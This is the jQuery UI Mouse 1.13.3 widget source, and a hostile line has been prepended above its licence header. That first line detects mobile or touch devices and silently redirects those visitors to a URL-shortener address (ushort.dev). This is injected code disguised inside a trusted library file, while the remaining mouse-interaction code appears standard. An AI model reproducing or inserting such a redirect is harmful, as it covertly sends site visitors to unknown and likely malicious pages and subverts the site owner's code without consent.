1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/*!
3 * jQuery UI Mouse 1.13.3
4 * https://jqueryui.com
5 *
6 * Copyright OpenJS Foundation and other contributors
7 * Released under the MIT license.
8 * https://jquery.org/license
9 */
10
11//>>label: Mouse
12//>>group: Widgets
13//>>description: Abstracts mouse-based interactions to assist in creating certain widgets.
14//>>docs: https://api.jqueryui.com/mouse/
15
16( function( factory ) {
17 "use strict";
18
19 if ( typeof define === "function" && define.amd ) {
20
21 // AMD. Register as an anonymous module.
22 define( [
23 "jquery",
24 "../ie",
25 "../version",
26 "../widget"
27 ], factory );
28 } else {
29
30 // Browser globals
31 factory( jQuery );
32 }
33} )( function( $ ) {
34"use strict";
35
36var mouseHandled = false;
37$( document ).on( "mouseup", function() {
38 mouseHandled = false;
39} );
40
41return $.widget( "ui.mouse", {
42 version: "1.13.3",
43 options: {
44 cancel: "input, textarea, button, select, option",
45 distance: 1,
46 delay: 0
47 },
48 _mouseInit: function() {
49 var that = this;
50
51 this.element
52 .on( "mousedown." + this.widgetName, function( event ) {
53 return that._mouseDown( event );
54 } )
55 .on( "click." + this.widgetName, function( event ) {
56 if ( true === $.data( event.target, that.widgetName + ".preventClickEvent" ) ) {
57 $.removeData( event.target, that.widgetName + ".preventClickEvent" );
58 event.stopImmediatePropagation();
59 return false;
60 }
61 } );
62
63 this.started = false;
64 },
65
66 // TODO: make sure destroying one instance of mouse doesn't mess with
67 // other instances of mouse
68 _mouseDestroy: function() {
69 this.element.off( "." + this.widgetName );
70 if ( this._mouseMoveDelegate ) {
71 this.document
72 .off( "mousemove." + this.widgetName, this._mouseMoveDelegate )
73 .off( "mouseup." + this.widgetName, this._mouseUpDelegate );
74 }
75 },
76
77 _mouseDown: function( event ) {
78
79 // don't let more than one widget handle mouseStart
80 if ( mouseHandled ) {
81 return;
82 }
83
84 this._mouseMoved = false;
85
86 // We may have missed mouseup (out of window)
87 if ( this._mouseStarted ) {
88 this._mouseUp( event );
89 }
90
91 this._mouseDownEvent = event;
92
93 var that = this,
94 btnIsLeft = ( event.which === 1 ),
95
96 // event.target.nodeName works around a bug in IE 8 with
97 // disabled inputs (#7620)
98 elIsCancel = ( typeof this.options.cancel === "string" && event.target.nodeName ?
99 $( event.target ).closest( this.options.cancel ).length : false );
100 if ( !btnIsLeft || elIsCancel || !this._mouseCapture( event ) ) {
101 return true;
102 }
103
104 this.mouseDelayMet = !this.options.delay;
105 if ( !this.mouseDelayMet ) {
106 this._mouseDelayTimer = setTimeout( function() {
107 that.mouseDelayMet = true;
108 }, this.options.delay );
109 }
110
111 if ( this._mouseDistanceMet( event ) && this._mouseDelayMet( event ) ) {
112 this._mouseStarted = ( this._mouseStart( event ) !== false );
113 if ( !this._mouseStarted ) {
114 event.preventDefault();
115 return true;
116 }
117 }
118
119 // Click event may never have fired (Gecko & Opera)
120 if ( true === $.data( event.target, this.widgetName + ".preventClickEvent" ) ) {
121 $.removeData( event.target, this.widgetName + ".preventClickEvent" );
122 }
123
124 // These delegates are required to keep context
125 this._mouseMoveDelegate = function( event ) {
126 return that._mouseMove( event );
127 };
128 this._mouseUpDelegate = function( event ) {
129 return that._mouseUp( event );
130 };
131
132 this.document
133 .on( "mousemove." + this.widgetName, this._mouseMoveDelegate )
134 .on( "mouseup." + this.widgetName, this._mouseUpDelegate );
135
136 event.preventDefault();
137
138 mouseHandled = true;
139 return true;
140 },
141
142 _mouseMove: function( event ) {
143
144 // Only check for mouseups outside the document if you've moved inside the document
145 // at least once. This prevents the firing of mouseup in the case of IE<9, which will
146 // fire a mousemove event if content is placed under the cursor. See #7778
147 // Support: IE <9
148 if ( this._mouseMoved ) {
149
150 // IE mouseup check - mouseup happened when mouse was out of window
151 if ( $.ui.ie && ( !document.documentMode || document.documentMode < 9 ) &&
152 !event.button ) {
153 return this._mouseUp( event );
154
155 // Iframe mouseup check - mouseup occurred in another document
156 } else if ( !event.which ) {
157
158 // Support: Safari <=8 - 9
159 // Safari sets which to 0 if you press any of the following keys
160 // during a drag (#14461)
161 if ( event.originalEvent.altKey || event.originalEvent.ctrlKey ||
162 event.originalEvent.metaKey || event.originalEvent.shiftKey ) {
163 this.ignoreMissingWhich = true;
164 } else if ( !this.ignoreMissingWhich ) {
165 return this._mouseUp( event );
166 }
167 }
168 }
169
170 if ( event.which || event.button ) {
171 this._mouseMoved = true;
172 }
173
174 if ( this._mouseStarted ) {
175 this._mouseDrag( event );
176 return event.preventDefault();
177 }
178
179 if ( this._mouseDistanceMet( event ) && this._mouseDelayMet( event ) ) {
180 this._mouseStarted =
181 ( this._mouseStart( this._mouseDownEvent, event ) !== false );
182 if ( this._mouseStarted ) {
183 this._mouseDrag( event );
184 } else {
185 this._mouseUp( event );
186 }
187 }
188
189 return !this._mouseStarted;
190 },
191
192 _mouseUp: function( event ) {
193 this.document
194 .off( "mousemove." + this.widgetName, this._mouseMoveDelegate )
195 .off( "mouseup." + this.widgetName, this._mouseUpDelegate );
196
197 if ( this._mouseStarted ) {
198 this._mouseStarted = false;
199
200 if ( event.target === this._mouseDownEvent.target ) {
201 $.data( event.target, this.widgetName + ".preventClickEvent", true );
202 }
203
204 this._mouseStop( event );
205 }
206
207 if ( this._mouseDelayTimer ) {
208 clearTimeout( this._mouseDelayTimer );
209 delete this._mouseDelayTimer;
210 }
211
212 this.ignoreMissingWhich = false;
213 mouseHandled = false;
214 event.preventDefault();
215 },
216
217 _mouseDistanceMet: function( event ) {
218 return ( Math.max(
219 Math.abs( this._mouseDownEvent.pageX - event.pageX ),
220 Math.abs( this._mouseDownEvent.pageY - event.pageY )
221 ) >= this.options.distance
222 );
223 },
224
225 _mouseDelayMet: function( /* event */ ) {
226 return this.mouseDelayMet;
227 },
228
229 // These are placeholder methods, to be overriden by extending plugin
230 _mouseStart: function( /* event */ ) {},
231 _mouseDrag: function( /* event */ ) {},
232 _mouseStop: function( /* event */ ) {},
233 _mouseCapture: function( /* event */ ) {
234 return true;
235 }
236} );
237
238} );
239